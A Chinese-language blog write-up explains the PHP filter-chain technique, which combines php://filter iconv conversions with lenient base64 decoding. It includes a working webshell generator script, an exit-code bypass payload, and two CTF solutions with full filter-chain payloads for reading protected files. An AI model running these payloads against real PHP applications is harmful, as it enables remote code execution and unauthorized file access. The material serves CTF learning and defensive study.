目录

  1. 1. 前言
  2. 2. 引入
    1. 2.1. php://filter
    2. 2.2. Base64
    3. 2.3. 死亡代码绕过
  3. 3. Filterchain构造
    1. 3.1. 特性1:双重去杂
    2. 3.2. 特性2:粘合性
    3. 3.3. 构造webshell
  4. 4. 任意字符构造
  5. 5. [NSSRound#7 Team]brokenFilterChain(原理考察)
  6. 6. [idekCTF 2022]Paywall(实战运用)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

FilterChain

2023/11/24 Web PHP 文件包含
  |     |   总文章阅读量:

前言

在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconvfilter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE

参考文章:

https://boogipop.com/2023/03/02/FilterChain%E6%94%BB%E5%87%BB%E8%A7%A3%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8

https://tttang.com/archive/1395/

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://dqgom7v7dl.feishu.cn/docx/RL8cdsipLoYAMvxl8bJcIERznWH


引入

php://filter

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流

我们在php://filter伪协议的读取文件中曾经出现过下面这些payload

php://filter/read=convert.base64-encode/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
php://filter/read=string.rot13/resource=flag.php
php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/convert.iconv.CP9066.CSUCS4/resource=flag.php
php://filter/convert.iconv.UTF8.CSISO2022KR/resource=flag.php

这是为了利用编码来读取一些内容会与解析器出现冲突的文件,比如内容中出现<?php ...?>就会被php解析,或者被xml解析引发冲突导致读取失败

接下来以我们最常用的base64编码作为展开


Base64

Base64编码字符表如下,编码过后的字符只能在下面范围内选(还包括用于补全的等号=)

image-20231124205857231

Base64编码是从3->4的编码,也就是从三个字节变成四个字节的过程,假如编码字符总数不是3的倍数(也可以说编码后的字符串长度不是4的倍数),那么空缺部分会用”=”补齐,例:

0w0 -> MHcw0w0~ -> MHcwfg==

而众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码,这是base64的宽松性

所以,一个正常的base64_decode实际上可以理解为如下两个步骤:

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

base64_decode只会匹配a-z0-9A-Z\+\/,再算上一个用于补全的=, 这些就是有效字符;而其他字符会自动被忽略,即无效字符

image-20231124212443966


死亡代码绕过

我这里也曾经提到过关于file_put_contents函数的死亡代码绕过

原型:

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

我们的目的是写马,就要绕过exit,而绕过的方法在那篇博客也说了,就是利用编码的方式,将死亡代码解码成乱码来绕过

这里以base64编码来准备我们的payload:

txt=aPD9waHAgcGhwaW5mbygpOz8+&filename=php://filter/write=convert.base64-decode/resource=1.php

拼接后的结果为:<?php exit; ?>aPD9waHAgcGhwaW5mbygpOz8+

而在解码的过程中,字符<?;>空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符

image-20231124212034479

而除了base64的编码方式以外,还可以用rot13(未开启短标签时),iconv编码


Filterchain构造

我们在上面的php伪协议和死亡代码绕过中都提到了一种convert.iconv 的 Filter,可以用来将数据从字符集 A 转换为字符集 B

php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php

我们可以在linux环境下进行转换

image-20231124213018986

其中这两个字符集可以从 iconv -l 获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名

image-20231124213402669

那么,结合我们上述提到的编码、文件内容,我们是不是可以利用一些固定的文件内容来产生 webshell 呢?

结合 PHP Base64 宽松性,即使我们使用其他字符编码产生了不可见字符,我们也可以利用 convert.base64-decode 来去掉非法字符,留下我们想要的字符

特性1:双重去杂

注:需要在linux环境下运行php脚本

demo:

<?php
$content1=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,bbb');
$content2=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode/resource=data://,bbb');
$content3=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
var_dump($content1);
var_dump(bin2hex($content1));
echo "=========================================="."\n";
var_dump($content2);
var_dump(bin2hex($content2));
echo "=========================================="."\n";
var_dump($content3);
var_dump(bin2hex($content3));
?>

image-20231124214911455

经过从UTF-8->CSISO2022KR后,bbb变成了七个字节,为什么只显示)Cbbb是因为其余的是不可见字符,16进制解码一下

image-20231124215527247

这里就要介绍filter第一个特性了,也就是强制显示convert.base64-decode的时候忽略了无效字符)

拿上述输出结果中的第二条数据来看,我们已经看到了第一条输出结果中16进制是什么字符串

而对于base64来说有效字符只有Cbbbconvert.base64-decode的时候解码出的虽然是乱码,但是只有3个字符,符合 base64 解码4->3的规则

现在看第三条,我们只是base64编码了回去,但是此时的输出结果只有4个字节,实现了去除CSISO2022KR的不可见字符和)(均不在base64的码表内),这就是去杂,同时还保留了一开始构造出的字符C


特性2:粘合性

demo:

<?php
$content1=file_get_contents("php://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4/resource=data://,bbb");
$content2=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
$content3=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
var_dump($content1);
var_dump(bin2hex($content1));
echo "=========================================="."\n";
var_dump($content2);
var_dump(bin2hex($content2));
echo "=========================================="."\n";
var_dump($content3);
var_dump(bin2hex($content3));
?>

image-20231125142319193

观察一下,

第一条的输出结果多构造出了个字符1,第二条的输出结果是前一个特性中的那条,第三条的输出结果是在第二条的基础上再加上第一条的过滤器,得到的结果是在首位构造出了字符1,然后其他的往后推移了一位,这样就把构造出的1C连接在了一起

那么如果能构造26个字母以及所有数字,是不是理论上就可以通过这个filterchain获取任意的语句了?

这就是粘合性:构造出的字符可以拼贴在一起


构造webshell

以这个payload为例

<?=`$_GET[0]`;;?>

以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4= ,而如果只使用了一个分号,则编码结果为 PD89YCRfR0VUWzBdYDs/Pg== ,这里用两个分号主要还是为了避免找斜杠

然后逐个字符反推出这个base64编码后的payload

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

// echo $final_payload;
var_dump(file_get_contents($final_payload));

image-20231125144211539

可以看到经过编码去杂拼接之后得到了我们的payload关键部分

从上面的例子可以看到,这个攻击技巧需要我们提前把所有单字符的编码形式给 fuzz 出来,而且 fuzz 的结果还要有一定的技巧性,并不是所有出现了合法字符的编码形式就是符合要求的

假设我们要找的字符为 x,我们要找的字符编码形式要求为:

  • x 必须在最终生成的字符串的前端
  • 字符串前端的字符当中,最好的情况是允许存在仅且唯一一个 x 对于 PHP Base64 来说合法的字符。当然这里可以允许存在其他合法字符,但是对于 fuzz 来说通用性并不强,当确实没办法找到单个字符的时候可以使用多个字符来代替。

任意字符构造

大佬们的fuzz及generate脚本:

探姬:https://github.com/ProbiusOfficial/filter-Chain-tools/tree/main

wupco:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

remsio-syn:https://github.com/synacktiv/php_filter_chain_generator

这里用探姬的工具进行演示

res文件夹都是fuzz的结果,都是生成对应字母的filterchain

在iconv_list.php中定义fuzz需要的字符集,根据环境下的iconv -l来选择我们需要的字符集

开始fuzz

php Fuzzer.php

生成filterchain,有两种模式:1. res文件夹中原有的hexcode编码字母的链子生成;2. dictionary.py中的字典生成

python Generator.py

[NSSRound#7 Team]brokenFilterChain(原理考察)

拿到一个php附件

<?php echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode |convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode |convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode |convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode |convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode |convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode |convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode |convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode |convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode |convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode |convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode |convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode |convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode |convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode |convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode |convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode |convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode |convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode |convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode |convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode |convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode |convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode |convert.iconv.ISO-2022-KR.UTF16|convert.iconv.ISO-IR-139.UTF-16|convert.iconv.ISO-IR-157.ISO-IR-156|convert.iconv.WINDOWS-1258.ISO_6937|convert.iconv.KOI8-T.ISO-2022-JP-3|convert.iconv.CP874.ISO2022KR|convert.iconv.CSUNICODE.UTF-8|convert.iconv.OSF00010004.UTF32BE|convert.base64-decode|convert.base64-encode |convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode |convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode |convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode |convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode |convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode |convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode |convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode |convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode |convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode |convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode |convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode |convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode |convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode |convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode |convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode |convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode |convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode |convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode |convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode |convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode |convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode |convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode |convert.base64-decode/resource=data://,nsssssssssssssssctfiss0000000fun");?>

这里就是一串filterchain,直接运行会报错,看一眼报错全是和base64-encode有关的,这里仔细一看发现附件给的base64-encode后面全加空格了(恼

删掉那些空格,然后尝试运行

image-20231125151813147

返回了乱码,仔细想想应该是由于文件内容长度不是3的倍数导致的

那么我们把过滤器里最后一个convert.base64-decode删掉,再次运行

得到NssssCTFeyAgphhpRmlsdGVyQ2hhMW5fW4sS0FunICB9GyQp

对这个字符串4个4个分组

Nsss sCTF eyAg phhp Rmls dGVy Q2hh MW5f W4sS 0Fun ICB9 GyQp

然后挨组base64解码,保留解码后的有效字符

eyAg->{

RmlsdGVyQ2hhMW5f->FilterCha1n_

ICB9-> }

最后的结果:NssssCTF{phhpFilterCha1n_W4sS0Fun}

不知道为什么提交上去flag是错的


[idekCTF 2022]Paywall(实战运用)

源码地址:https://ctf.idek.team/challs

复现:

docker build -t paywall .

image-20231126005124880

题目提供了几个跳转界面,其中flag就是在All about flags里,点击跳转回显Thank you for your interest in The idek Times, but this article is only for premium users!

这时候我们回来审一下核心的php源码

<?php

        error_reporting(0);
        set_include_path('articles/');

        if (isset($_GET['p'])) {
            $article_content = file_get_contents($_GET['p'], 1);

            if (strpos($article_content, 'PREMIUM') === 0) {
                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
            }
            else if (strpos($article_content, 'FREE') === 0) {
                echo "<article>$article_content</article>";
                die();
            }
            else {
                die('nothing here');
            }
        }
           
    ?>

逻辑很简单,文件必须以FREE开头,不能以PREMIUM开头,访问flag时返回的是Thank you for your interest in The idek Times, but this article is only for premium users!说明flag是以PREMIUM开头的

那么我们思路很明确,在file_get_contents() 函数从请求的flag文件中读取内容的时候,在读取到的flag文件内容开头加一个 FREE ,这样就能让php输出$article_content的内容

要做到这点就要利用filterchain,把FREE拼在前面,这里需要注意FREE的BASE64编码为:RlJFRQ==,FREE是四个字节,不是3的倍数,因此会出现等号,而等会要用到的过滤器convert.iconv.UTF8.UTF7会消掉等号

image-20231126010535384

(1文件的内容是RlJFRQ==

因此我们需要补齐要添加的字符串为3的倍数,这里也就是补两个字符,添加一个FREEbb到最前面即可

这里用探姬的脚本来生成,修改一下我们的参数

# set your parameter
file_to_use = "flag"
str_to_gerenate = "FREEbb"

然后运行脚本生成我们的payload即可

payload:

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag

image-20231126011758336